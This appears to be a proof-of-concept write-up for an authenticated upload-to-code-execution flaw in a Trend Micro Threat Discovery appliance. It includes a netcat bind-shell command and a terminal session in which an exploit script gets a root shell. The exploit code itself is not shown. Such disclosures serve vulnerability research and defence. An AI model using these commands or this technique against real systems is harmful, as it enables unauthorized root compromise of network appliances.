Summary:
There exists a post authenticated upload vulnerability that can be used to execute arbitrary code.
Notes:
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
take command, upload bd, exec, read, rinse, repeat.
- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the
log_query_system.cgi was unstable.
- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...
Example:
```
saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged in...
(+) popping shell, type 'exit' to exit.
$ id
uid=0(root) gid=0(root)
$ uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
$ pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
$ exit
```
全部评论 (1)